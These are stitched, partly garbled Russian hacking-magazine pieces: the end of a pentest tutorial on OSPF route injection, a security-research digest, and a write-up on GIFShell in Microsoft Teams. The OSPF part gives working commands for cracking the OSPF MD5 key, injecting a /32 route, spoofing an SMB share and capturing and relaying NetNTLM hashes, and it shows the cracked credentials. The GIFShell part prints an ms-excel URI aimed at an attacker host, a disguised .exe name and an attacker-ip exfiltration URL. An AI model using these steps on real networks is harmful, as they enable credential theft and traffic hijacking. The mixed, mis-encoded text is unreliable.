кстры. Это link-state-про токол, и во вре мя переда чи дан ных по OSPF ана лизи -
рует ся сос тояние канала. На осно ве сос тояния канала OSPF струк туриру ет таб -
лицы мар шру тиза ции, под держи вает их акту аль ность и выпол няет авто мати -
чес кий обмен мар шрут ной информа цией со сво ими соседя ми. OSPF — откры -
тый стан дарт, который под держи вают все вен доры сетево го обо рудо вания.
И это самый рас простра нен ный про токол внут ридомен ной мар шру тиза ции
в рам ках про дак шена.

В этой статье я буду говорить о вто рой вер сии OSPF. Харак терис тики ее
таковы:

OSPF для тран сля ции слу жеб ной информа ции исполь зует IP-адрес груп -
повой рас сылки ;

•
224.0.0.5

под держи вает IPv4;•
ра бота ет исклю читель но на сетевом уров не;•
в качес тве объ явле ний сос тояния каналов исполь зует сооб щения LSA (link-
state advertisement);

•

под держи вает VLSM;•
име ет высокий коэф фици ент уров ня схо димос ти по срав нению с дис танци -
онно-век торны ми про токо лами;

•

стро ит дерево крат чай ших путей (так как осно ван на алго рит ме Дей кстры);•
ис поль зует фор мулу 
для оцен ки сто имос ти мар шру та. То есть кон стан та полосы про пус кания
делит ся на фак тичес кую ско рость полосы про пус кания. Одна ко зна чение

 может быть изме нено.

• reference bandwidth / link bandwidth

reference bandwdith

Ус танов ление соседс тва в OSPF

×òî ìîæåò ïîìåøàòü àòàêóþùåìó?
Про токол OSPF ата ковать куда слож нее, чем его родс твен ников — дис танци -
онно-век торные про токо лы мар шру тиза ции (нап ример, RIP или EIGRP). Обоз -
начу основные проб лемы:

 Инже неры могут спро екти -

ровать домен мар шру тиза ции OSPF с нес коль кими зонами, что бы умень -
шить наг рузку на вычис литель ные ресур сы мар шру тиза торов. Нуж но учи -
тывать это в домене мар шру тиза ции OSPF, как и воз можность про хож дения
пакетов меж ду эти ми зонами. Нап ример, если ты собира ешь ся выпол нять
инъ екции мар шру тов.

• AS OSPF ìîæåò áûòü ðàç áèòà íà çîíû.

 Под клю чить ся к домену мар шру -

тиза ции OSPF будет воз можно, если сетевой адми нис тра тор не позабо тил -
ся о кон фигура ции пас сивных интерфей сов, сама кон фигура ция поз воля ет
отклю чать рас сылку пакетов при ветс твия на уров не самих анон сиру емых
сетей. Если в сетевом ана лиза торе не встре тишь пакеты OSPF — либо
OSPF нет, либо нас тро ены пас сивные интерфей сы. А это дела ет невоз -
можным про веде ние ата ки на домен динами чес кой мар шру тиза ции.

• Íà ëè÷èå ïàêåòîâ ïðè âåòñ òâèÿ Hello.

ÂÌÅØÀÒÅËÜÑÒÂÎ Â ÏÐÎÖÅÑÑ ÌÀÐØÐÓÒÈÇÀÖÈÈ
Что бы ата ковать домен динами чес кой мар шру тиза ции, нуж но под клю чить ся
непос редс твен но к самому про цес су мар шру тиза ции. Это мож но сде лать
через нас тоящий роутер (имею в виду желез ку) либо вос поль зовать ся FRR.

 — это спе циаль ный вир туаль ный мар -
шру тиза тор, который может интегри ровать ся
с тво ей ОС и работать как нас тоящий роутер.
Очень кру тая шту ка, пос коль ку под держи вает
мно жес тво инте рес ных про токо лов: BGP, IS-IS,
OSPF, EIGRP, VRRP, BFD и так далее. В этой
статье я вос поль зуюсь имен но FRR.

FRRouting

В пер вую оче редь нуж но акти виро вать демоны FRR. За каж дый про токол будет
отве чать отдель ный демон. Нам понадо бят ся демоны  и .ospfd staticd

root@kali:~# nano /etc/frr/daemons
ospfd=yes
staticd=yes

Пе ред запус ком демона перек люча ем сетевой интерфейс в promiscuous mode,
раз реша ем мар шру тиза цию и акти виру ем работу NAT Helper (NFCONNTRACK).

ip in9uz@kali:~$ sudo link set eth0 promisc on
1in9uz@kali:~$ sudo sysctl -w net.ipv4.ip_forward=

in9uz@kali:~$ sudo modprobe nf_conntrack
  root@kali:~# echo "1" > /proc/sys/net/netfilter/nf_conntrack_

helper

Пос ле это го вклю чаем демон FRR и про веря ем его сос тояние.

in9uz@kali:~$ sudo systemctl start frr
in9uz@kali:~$ sudo systemctl status frr

Сос тояние FRR

С помощью коман ды  попада ем на панель управле ния мар шру тиза -

тором:

vtysh

in9uz@kali:~$ sudo vtysh

kali# show ver

Па нель управле ния FRR

Ñòðóêòóðà ëàáîðàòîðíîé ñåòè
В качес тве лабора тории мы с тобой выс тро им тре хуров невую сеть. Для SMB-
шары я выделил отдель ный сег мент (WAREHOUSE), но на самом деле
это прос то ком мутатор уров ня рас пре деле ния. Так же есть нес коль ко вир туаль -
ных сетей, они находят ся на ком мутато рах уров ня дос тупа, а на ком мутато рах
уров ня рас пре деле ния про исхо дит уже мар шру тиза ция меж ду самими VLAN.

От казо устой чивость сети обес печива ет HSRPv2. Начиная с уров ня рас пре -
деле ния, я нас тро ил динами чес кую мар шру тиза цию OSPF, все хра нит ся
в нулевой BACKBONE-зоне.

То поло гия лабора тор ной сети

 —  (VLAN 20) (Windows 10 LTSC);• 10.10.20.1 Fake

 —  (VLAN 30) (Windows 10 LTSC);• 10.10.30.1 Boundless

 —  (VLAN 50) (Kali Linux);• 10.10.50.2 Attacker

 —  (HSRPv2 Active) (Cisco vIOS L2 Image);• 10.10.50.100 Dist-SW1

 —  (HSRPv2 Standby) (Cisco vIOS L2 Image);• 10.10.50.101 Dist-SW2

 —  (Windows Server 2019 Standard).• 192.168.100.1 SMB Share

Àíàëèç òðàôèêà
Пер вым делом нам нуж но изу чить тра фик OSPF, узнать об ID зоны, наличии
аутен тифика ции,  и так далее. Из пакета OSPF Hello, получен ного

от  ( ), мож но заметить, что исполь зует ся нулевая зона
.

router-id
Dist-SW1 10.10.50.100

0.0.0.0

Дамп OSPF-тра фика

Так же исполь зует ся MD5-аутен тифика ция. Она не поз воля ет неаутен тифици -
рован ным роуте рам вхо дить в про цесс мар шру тиза ции. Не зная ключ, под клю -
чить ся к сети OSPF не вый дет.

ÎÁÕÎÄ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ (AUTHENTICATION BYPASSING)

Ха рак терис тики клю ча

На скрин шоте некото рые харак терис тики клю ча. Иден тифика тор клю ча (ID) —
еди ница.

Для сниф финга крип тогра фичес кого MD5-хеша вос поль зуем ся ути литой
Ettercap. Перед этим перек люча емся в promisc.

ip in9uz@kali:~$ sudo link set eth0 promisc on
in9uz@kali:~$ sudo ettercap -G

Ettercap обна ружил MD5-хеш

Ко пиру ем эти хеши и бру тим. Кста ти говоря, очень удоб но, что хеши сра зу
пред став лены в фор мате John the Ripper.

 in9uz@kali:~$ cat >> ospf-hashes
in9uz@kali:~$ john ospf-hashes --wordlist=ospfwordlist

Взло ман ный пароль от домена OSPF

Па роль уда лось сбру тить, это . С этим клю чом мы можем под клю -

чить ся к сети OSPF.

flatl1ne

EVIL TWIN È ÏÅÐÅÕÂÀÒ NETNTLM
Íà÷àëî àòàêè
Ос новной прин цип ата ки зак люча ется в редис три буции ста тичес кого мар шру та
в сеть OSPF с наимень шей мет рикой. Эта сеть выс тупит в качес тве век тора
для инъ екции лож ного мар шру та. FRR поз воля ет опе риро вать ста тичес кой
мар шру тиза цией и ее редис три буци ей, что осво бож дает нас от исполь зования
дис крет ных ути лит (Loki, Scapy и про чих).

Мы выпол ним спу финг хос та  с адре сом .

А имен но с помощью инжекта адре са SMB-шары. Инжект пред став ляет собой
LSA-сооб щение пятого типа, будет сге нери рова но сооб щение LSU (link-state
update), пос ле чего легитим ный мар шру тиза тор при мет наш инжект и помес тит
его в таб лицу мар шру тиза ции, а так же сооб щит осталь ным соседям об этом
объ явле нии.

SMB Share 192.168.100.1/32

kali# conf ter
kali(config)# router ospf
kali(config-router) network 10.10.50.3/32 area 0.0.0.0
kali(config-router) redistribute static metric 0

В таб лице мар шру тиза ции хра нят ся толь ко луч -
шие мар шру ты. У тво его инжекта дол жны быть
наилуч шие харак терис тики, а имен но адми нис -
тра тив ное рас сто яние и мет рика.

От адми нис тра тив ного рас сто яния (АР) зависит пред почти тель ность мар шру -
та. Чем выше это зна чение, тем мень ше веро ятность, что мар шрут будет выб -
ран. Зна чение АР для OSPF экви вален тно 110.

Так же у нас есть сто имость мар шру та. С помощью FRR мы ука жем
на редис три буцию ста тичес кого мар шру та с нулевой сто имостью. Чем эта мет -
рика ниже, тем мар шрут более пред почти телен. И так как при инжекте мы ука -
зыва ем мас ку , шанс помеще ния инжекта в таб лицу мар шру тиза ции край не

велик. Потому что пакет, ока зав ший ся на мар шру тиза торе, пой дет в сеть
с наиболь шей мас кой (а это будет в фор мате мар шру та 

)

/32

192.168.100.1/32
via 10.10.50.2

Струк тура инъ екции:

kali(config)# ip route 192.168.100.1/32 eth0

Здесь
 — адрес целево го сер вера;• 192.168.100.1

 — мас ка под сети. Она экви вален тна ;• /32 255.255.255.255
 — сетевой интерфейс ата кующей сис темы. То есть в мар шру те адре -

сом сле дующе го прыж ка (next hop) будет наш хост.
• eth0

Те перь нуж но соз дать вто рич ный адрес на сетевом интерфей се со зна чени ем
адре са целевой SMB-шары, так как тра фик будет ходить на наш хост по dst ip

.192.168.100.1/32

in9uz@kali:~$ sudo ifconfig eth0:1 192.168.100.1 netmask 255.255.
255.255

Те перь весь тра фик, пред назна чен ный для той SMB-шары, пой дет в нашу сто -
рону. Пос ле чего мы можем под нять прос той SMB-сер вер с помощью impacket
и перех ватить учет ные дан ные поль зовате лей в зашиф рован ном виде. Да, речь
о NetNTLM-хешах. Пос ле это го их мож но либо сбру тить (Bruteforce), либо
отре леить (NTLM Relay).

В ито ге воз ника ет ата ка Evil Twin, то есть «злой двой ник».
Под нимем шару с помощью Impacket и запус тим ана лиза тор net-creds.py:

in9uz@kali:~$ sudo impacket-smbserver -smb2support sharePath /
home/in9uz/smb-poc-share
in9uz@kali:~/toolkit/net-creds$ sudo python2 net-creds.py -i eth0

Пос ле начала ата ки мы перех ватыва ем огромное количес тво NetNTLM-хешей.
Толь ко пос мотри на это!

Пе рех вачен ные NetNTLM-хеши поль зовате ля intervalsabove

Поп робу ем сбру тить пароль это го поль зовате ля.

Взло ман ный пароль

В ито ге у нас есть кре ды . При коль но!intervalsabove:viewfromabove
Вот таким обра зом мож но перех ватывать учет ные дан ные поль зовате лей.

NTLM Relay тоже, кста ти, работа ет кор рек тно.

Ата ка NTLM Relay

Вме шива ясь в сам про цесс мар шру тиза ции, будь осто рожен! Эта ата ка край не
агрессив на: ког да поль зовате ли будут сту чать ся к какой-нибудь SMB-шаре
за сво ими фай лами, они ничего не най дут. Раз уж ты спу фишь саму шару,
может быть, тебе удас тся под нять ее копию. Одна ко вско ре ты соберешь дос -
таточ но хешей и можешь оста новить ата ку. Затяги вать экс плу ата цию не сто ит,
ина че легитим ные сот рудни ки будут пла кать, а пен тест перес танет быть сек -
ретом.

Из-за высокой ско рос ти схо димос ти в OSPF пос ле отме ны анон са мар шру -
та струк тура таб лицы мар шру тиза ции ста нет как преж де, до ата ки. И это нас -
тупит очень быс тро. Ско рость схо димос ти рав на четырем секун дам. Одна ко
все будет зависеть от раз меров самой сети, пос коль ку все мар шру тиза торы
дол жны обно вить свои таб лицы. В общем, будь осто рожен.

kali(config)# no ip route 192.168.100.1/32 eth0

ÊÀÊ ÇÀÙÈÒÈÒÜÑß?
Àóòåíòèôèêàöèÿ
Ис поль зуй аутен тифика цию, и она не поз волит неиз вес тным мар шру тиза торам
под клю чать ся к авто ном ным сис темам динами чес кой мар шру тиза ции. Толь ко
позаботь ся о том, что бы сам ключ аутен тифика ции был дос таточ но стой ким
и его так прос то не сбру тили.

При мер нас трой ки MD5-аутен тифика ции в Cisco IOS:

Router(config)# interface GigabitEthernet X/X
Router(config-if)# ip ospf authentication message-digest
Router(config-if)# ip ospf message-digest-key 1 md5 
y0uve_t4ken_y0ure_pr3c1ous_t1me

Èñïîëüçóé ïàññèâíûå èíòåðôåéñû
Они зап реща ют тому или ино му интерфей су рас сылать пакеты при ветс твия,
что лиша ет пен тесте ра шан сов под клю чить ся к домену мар шру тиза ции. Нав -
сегда.

При мер нас трой ки пас сивно го интерфей са в Cisco IOS:

Router(config)# router ospf X
Router(config-if)# passive-interface GigabitEthernet X/X

ÂÛÂÎÄÛ
Вот такие ата ки воз можны в сетях с мис конфи гура цией доменов динами чес кой
мар шру тиза ции. Зло умыш ленни ки могут исполь зовать подоб ную тех нику вку пе
с фишин гом, что сде лает ата ку еще более опас ной. Наде юсь, мое иссле дова -
ние поможет не им, а бла гона мерен ным пен тесте рам, а сетевые адми нис тра -
торы нач нут зак рывать подоб ные дыры.

mailto:in9uz@protonmail.com
https://frrouting.org/
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ВЗЛОМ

Три месяца лета позади, а зна чит, пора
раз гре бать зак ладки в бра узе ре и избран -
ные пос ты, которые откла дыва лись
до появ ления рабоче го нас тро ения. Про -
ведем обзор опуб ликован ных блог постов,
док ладов и иссле дова тель ских матери -
алов, которые вряд ли ста нут «иссле дова -
ниями года», но несут в себе новые тех -
ники. Кто зна ет, какая из них может вдруг
выс тре лить и пол ностью поменять лан -
дшафт угроз?

ÒÅÕÍÈÊÈ ÔÀÇÇÈÍÃÀ È ÄÈÍÀÌÈ×ÅÑÊÎÃÎ ÀÍÀËÈÇÀ ÏÎ
Здесь я соб рал иссле дова ния в нап равле нии динами чес кого ана лиза ПО и,
в час тнос ти, фаз зинга, которо му мы в прош лом пос вятили .от дель ный выпуск

Ôàççèì ClamAV ñåìïëàìè ìàëâàðè
Fuzzing ClamAV with real malware samples

Ин терес ный под ход к поис ку багов в анти вирус ном движ ке с исполь зовани -
ем реаль ных сем плов злов редов в качес тве кор пуса для фаз зинга. Фаз зить
анти вирус вре доно сами — это как про верять работос пособ ность сис темы про -
тиво воз душной обо роны реаль ными ракета ми.

Ав тор выб рал опен сор сный дви жок ClamAV, который так же исполь зует ся
в ком мерчес ких решени ях. В качес тве пер воначаль ного набора тест-кей сов
(кор пуса) исполь зует ся база сем плов .vx-underground

В матери але автор про ходит пол ный цикл фаз зинга: от под готов ки цели
до ана лиза резуль татов. Тем, кто хочет перей ти от теории к прак тике, дос таточ -
но пов торить опи сан ные эта пы.

Êàê çàðàáîòàòü ôàççèíãîì 200 òûñÿ÷ äîëëàðîâ çà âûõîäíûå
Earn $200K by fuzzing for a weekend: Part 1

За круг лой сум мой в заголов ке пря чет ся еще одно под твержде ние того, что
memory-safe не озна чает отсутс твие уяз вимос тей. На при мере вир туаль ной
машины, написан ной на Rust, автор про демонс три ровал эффектив ность поис -
ка багов Rust-при ложе ний, при менив извес тные тех ники фаз зинга к извес тно -
му тар гету.

В матери але уде лено вни мание под готов ке тес товых ора кулов (test
oracles) — механиз мов опре деле ния ожи даемо го и ано маль ного поведе ний
тар гета в про цес се тес тирова ния.

SFUZZ — âûñîêîïðîèçâîäèòåëüíûé ôàççåð íà îñíîâå êàñòîìíîãî
JIT-äâèæêà
SFUZZ: High Performance Coverage-guided Greybox Fuzzer with Custom JIT
Engine

SFUZZ — это новый фаз зер для тес тирова ния методом серого ящи ка, осно -
ван ный на эму ляции. Он исполь зует кас томный JIT-ком пилятор для повыше ния
про изво дитель нос ти. Автор утвер жда ет, что его инс тру мент работа ет быс трее,
чем AFL++, и под твержда ет это .срав нитель ными тес тами

Глав ный недос таток SFUZZ, который не поз волит ему заменить AFL++,
в том, что он фаз зит бинар ники толь ко для RISC-V. Сей час для этой архи тек -
туры не так мно го инте рес ных тар гетов, хотя это может и изме нить ся.

Èñïîëüçîâàíèå ñèìâîëüíîãî âûïîëíåíèÿ äëÿ âûÿâëåíèÿ
âðåäîíîñíîãî êîäà
Using a Practical Symbolic Engine to Detect Evasive Forms of Malware/Ransomware
(PDF)

На кон ферен ции Black Hat 2022 показа ли инте рес ную тех нику выяв ления
вре донос ного ПО и, в час тнос ти, экзем пля ров ран сомва ри. Авто ры пред лага ют
обой ти огра ниче ния методов динами чес кого ана лиза ПО, которые пло хо
справ ляют ся с обфусци рован ными или модифи циро ван ными вре доно сами,
и при менить дви жок сим воль ного выпол нения.

Сим воль ное выпол нение — это метод ана лиза бинар ного кода, ког да вход -
ные дан ные для целевой прог раммы заменя ют сим волами. В ито ге ана лиза тор
будет исполь зовать сим воль ное выраже ние (фор мулу) вмес то кон крет ных зна -
чений.

Ар хитек тура движ ка сим воль ного исполне ния для ана лиза вре донос ного
ПО

С помощью это го метода в прог раммах ищут ошиб ки, но авто ры иссле дова ния
решили при менить его для опре деле ния экзем пля ров вымога телей. Выб рав
три клю чевых приз нака сем плов ран сомва ри (перечис ление фай лов, опе рация
над фай лами, шиф рование), иссле дова тели вос поль зовались тех никой сим -
воль ного выпол нения для детек та. Резуль таты: детект 95,60% ран сомва ри, 0%
лож ных сра баты ваний.

ÍÎÂÛÅ ÒÅÕÍÈÊÈ ÂÐÅÄÎÍÎÑÍÎÃÎ ÏÎ
Symbiote â ïîäðîáíîñòÿõ: àíàëèç íîâîé óãðîçû äëÿ Linux, êîòîðóþ
ïî÷òè íåâîçìîæíî îáíàðóæèòü
Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat

Здесь раз бира ется новый обра зец вре донос ного ПО, который при меня ет
eBPF и  для сок рытия. Для защиты от инспек тирова ния тра фика

бэк дор исполь зует инте рес ную тех нику внед рения допол нитель ного кода
в заг ружа емые в ядро BPF-прог раммы, что поз воля ет скрыть сетевую
активность от ана лиза торов, запус каемых на той же сис теме поз днее.

LD_PRELOAD

На бор тех ник, которые Symbiote исполь зует для сво его сок рытия

Ког да адми нис тра тор запус кает какой-то ана лиза тор пакетов на заражен ной
машине, в ядро внед ряет ся байт-код BPF, опре деля ющий, какие пакеты ана -
лиза тор дол жен зах ватить. Это поз воля ет бэк дору манипу лиро вать ана лизом
тра фика и скры вать сетевую активность.

Agenda — íîâàÿ ðàíñîìâàðü íà Go, ìåíÿþùàÿ òàêòèêè
New Golang Ransomware Agenda Customizes Attacks

Об наружен новый экзем пляр ран сомва ри, написан ный на Golang. При меча -
тель но, что Go и Rust ста новят ся популяр ными у раз работ чиков мал вари.
Кросс-плат формен ные язы ки прог рамми рова ния поз воля ют зло деям охва тить
боль ше архи тек тур и опе раци онных сис тем и ском про мети ровать боль ше раз -
нооб разных кор поратив ных сред.

Кро ме того, подоб ную мал варь труд но ана лизи ровать, потому что ком -
пилятор Go ста тичес ки под клю чает необ ходимые биб лиоте ки в бинар ном фай -
ле. Ито говый бинарь получа ется нас толь ко боль шим, что мно гие ана лиза торы
и реверс-инже неры прос то попер хнут ся.

Îìåðçèòåëüíàÿ âîñüìåðêà: òåõíèêè, òàêòèêè è ïðîöåäóðû (TTPs)
ãðóïïèðîâîê øèôðîâàëüùèêîâ
https://securelist.ru/modern-ransomware-groups-ttps/105553/

Опуб ликован отчет с резуль татами ана лиза APT-груп пировок, которые
исполь зуют тро яны-вымога тели в сво их опе раци ях. Матери ал инте ресен
для всех, кто выс тра ивает сис тему защиты от ransomware в инфраструк туре.

Ряд осо бен ностей, отме чен ных в отче те, мож но исполь зовать для детек та
ран сомва ри:
1. Ме тоды попада ния в инфраструк туру у всех общие: челове чес кий фак тор

(фишинг), откры тые сер висы (нап ример, RDP) и мно жес твен ные уяз вимос -
ти (при чем извес тные).

2. В про цес се запус ка все вре доно сы исполь зуют коман дные и скрип товые
интер пре тато ры.

3. Для зак репле ния образцы всех семей ств исполь зуют тех ники манипу ляции
учет ными запися ми.

4. Для обхо да средств защиты чаще все го исполь зуют ся стан дар тные средс -
тва ОС.

5. Об наруже ние ресур сов: все без исклю чения семей ства исполь зуют тех ники
обна руже ния новых ресур сов (сетевых шар, хос тов, фай лов, про цес сов
и так далее).

6. Ком муника ция с сер верами управле ния: все образцы исполь зуют уро вень
при ложе ний для ком муника ции с C2, а некото рые пыта ются красть дан ные
по это му же каналу.

7. На руше ние целос тнос ти дан ных: уда ление бэкапов, вык лючение сис темных
фун кций вос ста нов ления дан ных, оста нов ка биз нес-при ложе ний.

Ана лити кам SOC на замет ку: пос ледние три осо бен ности поз воля ют пос тро ить
стра тегию целенап равлен ного детек та ран сомва ри в заражен ной инфраструк -
туре.

Кста ти, вымога телей, нацелен ных на инфраструк туру с Docker и Kubernetes,
пока еще не так мно го. Воз можно, это объ ясня ется осо бен ностя ми под хода
«неиз меня емой инфраструк туры» (immutable infrastructure): пос ле попада ния
в кон тей нер ную сре ду у мал вари ока зыва ется не так мно го инте рес ных мест
для шиф рования или горизон таль ного переме щения. Кли ент ские рабочие
стан ции и окру жение, пос тро енное на Windows, куда вкус нее.

Ве роят но, в сле дующем квар тале это го года сто ит готовить ся к появ лению
новых иссле дова ний, свя зан ных с новыми тех никами атак на облачную
инфраструк туру.

mailto:condifesa@gmail.com
https://xakep.ru/issues/xa/242/
https://mmmds.pl/clamav/
https://www.vx-underground.org/
https://secret.club/2022/05/11/fuzzing-solana.html
https://seal9055.com/blog/?p=sfuzz
https://github.com/seal9055/sfuzz/blob/main/docs/benchmarking.md
https://i.blackhat.com/USA-22/Wednesday/US-22-Ma-A-New-Trend-for-the-Blue-Team-Using-a-Practical-Symbolic-Engine.pdf
https://www.intezer.com/blog/research/new-linux-threat-symbiote/
https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html
https://securelist.ru/modern-ransomware-groups-ttps/105553/
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ВЗЛОМ

По пыт ки спря тать вре донос ное содер -
жимое в обыч ных гра фичес ких фай лах
пред при нима лись уже дав но, и некото рые
из них даже были успешны ми. На днях
в бло ге BleepingComputer был опуб -
ликован  о новой уяз вимос ти, поз -
воля ющей запус кать reverse shell
в Microsof t Teams при помощи обыч ных
GIF-фай лов. Давай пос мотрим, как она
работа ет.

от чет

Ког да мы говорим о внед рении вре донос ного кода в гра фичес кие фай лы, сра -
зу вспо мина ется дроп пер, который извле кал бинар ник тро яна из сох ранен ной
на дис ке кар тинки, и дру гая мал варь, искавшая в опуб ликован ном на уда лен -
ном сер вере изоб ражении управля ющие коман ды. Новый век тор ата ки,
получив ший наиме нова ние GIFShell, похож на вто рой слу чай. Он поз воля ет
кибер прес тупни кам зло упот реблять недос татка ми кор поратив ной плат формы
Microsoft Teams для запус ка reverse shell и выпол нения на ском про мети рован -
ном компь юте ре вре донос ных команд. При чем добива ются все го это го
при помощи обыч ных GIF-фай лов. Ну, поч ти обыч ных.

GIFShell пред став ляет собой не одну кон крет ную уяз вимость, а целую
цепоч ку атак, исполь зующих раз личные недоче ты в архи тек туре плат формы
Microsoft Teams. Все го уяз вимос тей обна руже но семь, их выявил и сис темати -
зиро вал незави симый эксперт по кибер безопас ности Боб би Раух. Нап ример,
поль зовате лям Microsoft Teams дос тупна воз можность отправ лять друг дру гу
вло жен ные фай лы, при чем эти вло жения могут заг ружать содер жимое с внеш -
него URL, а не по внут ренней ссыл ке SharePoint. Эти фай лы порой выг лядят
впол не безобид ными, одна ко при этом содер жат неп рият ный сюр приз. У поль -
зовате ля Microsoft Teams нет никакой воз можнос ти пред варитель но про верить,
вре донос но такое вло жение или нет.

Кро ме того, Microsoft Teams поз воля ет заг ружать кар тинки в фор мате GIF
с уда лен ных сер веров и отправ лять поль зовате лям GIF-фай лы в кодиров ке
HTML Base64 и никак не про веря ет их содер жимое. Поэто му мож но спря тать
внут ри такого фай ла вре донос ные коман ды. Плат форма под держи вает
небезо пас ные схе мы URI, допус кающие кра жу хешей SMB NTLM или ата ки
типа NTLM Relay. Наконец, весь тра фик Microsoft Teams нап равля ется кли ентам
через сер веры Microsoft, из-за чего анти виру сы счи тают его легитим ным и не
замеча ют угро зы. Все это в совокуп ности откры вает перед хакера ми очень
инте рес ные воз можнос ти.

По сооб ражени ям безопас ности поль зовате ли Microsoft Teams из одной
груп пы не име ют воз можнос ти нап рямую обме нивать ся фай лами с чле нами
дру гих групп. В окне отправ ки сооб щения учас тни ку дру гой коман ды поп росту
отсутс тву ет кноп ка с изоб ражени ем скреп ки, поз воля ющая прик репить файл.
Одна ко прос тые сооб щения отправ лять мож но — мно гие адми нис тра торы
даже не подоз рева ют о том, что поль зовате ли Teams по умол чанию могут
получать сооб щения от кого угод но.

Ког да сооб щение с вло жени ем отправ ляет ся поль зовате лю из той же груп -
пы, Microsoft Teams фор миру ет ссыл ку SharePoint на вло жен ный файл, которая
пре обра зует ся в JSON и отправ ляет ся в виде POST-зап роса на эндпой нт
Teams. По умол чанию такую ссыл ку могут прос матри вать толь ко отпра витель
и получа тель сооб щения. Но сер веры Microsoft не про веря ют, есть ли в ссыл -
ках SharePoint в теле JSON адре са сто рон них сер веров, поэто му такая ссыл ка
может быть замене на любым URL. Это поз воля ет зло умыш ленни ку выпол нить
ата ку drive-by download. Кро ме того, в этом JSON мож но под менить и обоз -
начение фор мата фай ла, вмес то раз решен ного JPEG передав, нап ример, DLL
или EXE.

Са мое инте рес ное, что на про межу точ ных сер верах не про веря ется и этот
параметр: получа тель уви дит, что в пос лание вло жено изоб ражение JPEG, раз -
ве что без пред варитель ного прос мотра. Если юзер наведет кур сор мыши
на это вло жение, так же будет про демонс три рова но имя вло жен ной кар тинки,
нап ример , хотя на самом деле файл име ет имя

.

Christmas_Party_Photo.jpeg
Christmas_Party_Photo.jpeg.............exe

Вмес то изоб ражения в сооб щении Teams может пря тать ся любой файл.
Скрин шот с сай та medium.com

Пос коль ку исполь зуемые Teams JSON не име ют никакой CSRF-защиты, зло -
умыш ленник может лег ко авто мати зиро вать отправ ку вре донос ных сооб -
щений, ска жем с помощью модуля на Python, обхо дя любые уста нов ленные
Microsoft огра ниче ния.

Так выг лядит вре донос ный JSON. Скрин шот с сай та bleepingcomputer.com

При мер реали зации такой ата ки показан на .ви део
Microsoft Teams под держи вает так называ емую тех нологию deep linking.

С ее помощью поль зовате ли обме нива ются ссыл ками, при нажатии на которые
выпол няют ся те или иные дей ствия Teams. Нап ример, что бы отпра вить дру -
гому поль зовате лю ссыл ку на чат, мож но выс лать ему такую запись:

msteams://l/chat/0/0?users=<email>

Лю бопыт но, но ссыл ки deep linking сер веры Microsoft тоже не про веря ют
на валид ность, что поз воля ет добав лять в сооб щения прак тичес ки любые URI.
Нап ример, ссыл ку, которая заг ружа ет с сай та зло умыш ленни ков файл 

и откры вает его в Excel на машине жер твы:

.xls

ms-excel:/ofv|u|//10.10.10.10/ROPNOP/filename.xls

Кро ме того, ког да поль зователь откры вает такую ссыл ку, на машину ата кующе -
го отправ ляют ся дан ные SMB handshake, что поз воля ет зло умыш ленни ку
перех ватить хеш NTLM и передать его кон трол леру домена.

Сле дующая при ятная для хакеров новость зак люча ется в том, что фай лы
жур налов Microsoft Teams, в которых записы вают ся в том чис ле все сооб щения
вмес те с их содер жимым, хра нят ся в откры том виде на дис ке компь юте ра
поль зовате ля. При чем для чте ния этих фай лов не тре бует ся даже наличия прав
адми нис тра тора. Нап ример, в вер сии Microsoft Teams для работы или обу чения
жур налы хра нят ся в сле дующей пап ке:

$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.
microsoft.com_0.indexeddb.leveldb\*.log

По лучен ные сооб щения сох раня ются в этих жур налах и дос тупны для чте ния
всем груп пам поль зовате лей Windows, то есть любое вре донос ное ПО на
устрой стве может бес пре пятс твен но получить к ним дос туп.

Для успешно го выпол нения ата ки GIFShell зло умыш ленник пер вым делом
при помощи  соци аль ной инже нерии дол жен убе дить потен циаль ную
жер тву запус тить на сво ей машине вре донос ный стей джер. Перес лать его
мож но под видом безобид ного JPEG-фай ла, модифи циро вав отве чающий
за вло жения в сооб щения JSON (об этом методе было рас ска зано выше),
или с помощью ссыл ки deep linking. Кон цепт такого стей дже ра выложен
на . Для раз работ ки сво ей прог раммы автор исполь зовал
Python и PowerShell, но, в прин ципе, подоб ное при ложе ние мож но написать
на любом язы ке прог рамми рова ния.

гип ноза

GitHub Боб би Рауха

За тем зло умыш ленник фор миру ет и отправ ляет жер тве закоди рован ные
в Base64 GIF-фай лы, в которые добав ляет нуж ные ему сис темные коман ды.
Такие GIF-фай лы отоб ража ются в окне Microsoft Teams как обыч ные кар тинки
и вмес те с самим сооб щени ем сох раня ются на диск в файл жур нала. Стей джер
на ата куемом компь юте ре ска ниру ет жур налы, ищет в них изоб ражения в фор -
мате GIF/Base64, декоди рует их, а затем выпол няет спря тан ные
в Base64 коман ды с исполь зовани ем PowerShell.

Итак, полови на дела сде лана: мы смог ли выпол нить коман ду на компь юте -
ре жер твы. Но ведь нуж но еще передать ее вывод зло умыш ленни ку! Для это го
стей джер отсле жива ет выпол нение команд на ата куемой машине, а затем
фор миру ет URL вида 

, где  — это IP-адрес сер вера ата кующе го,

а  — закоди рован ный в Base64 вывод

выпол ненной коман ды. Этот URL упа ковы вает ся в так называ емую кар точку
опро са Microsoft Teams — сооб щение в фор мате JSON — и отправ ляет ся
на сер веры Microsoft Teams.

http://<attacker-ip>/<base64-encoded-command-
output>.gif attacker-ip

base64-encoded-command-output

Ког да сер вер Microsoft получа ет такую кар точку, он обра щает ся к узлу ата -
кующе го (IP-адрес которо го содер жится в URL) и пыта ется ска чать отту да GIF-
файл. Даль ше все прос то: в име ни это го несущес тву юще го GIF-фай ла зашиф -
рован в Base64 вывод коман ды, выпол ненной на машине жер твы. Этот вывод
рас шифро выва ется и переда ется ата кующе му. Нап ример, файл с име нем

 будет

декоди рован в вывод коман ды , выпол ненной на ском про мети рован -

ном устрой стве:

dGhlIHVzZXIgaXM6IA0KYm9iYnlyYXVjaDYyNzRcYm9iYnlyYXVJa0K.gif
whoami

the user is:
bobbyrauch6274\bobbyrauIkBáë

Та ким замыс ловатым обра зом реали зует ся дос таточ но эффектив ный обратный
шелл — в опуб ликован ном авто ром  показа но, как он работа ет.ви део

Ата кующие могут отправ лять жер тве боль шое количес тво кар тинок в фор -
мате GIF, содер жащих коман ды, и получать информа цию о выпол нении спря -
тан ных внут ри команд. Пос коль ку все эти дан ные переда ются через сер веры
Microsoft Teams и пред став ляют собой обыч ный тра фик при ложе ния, анти виру -
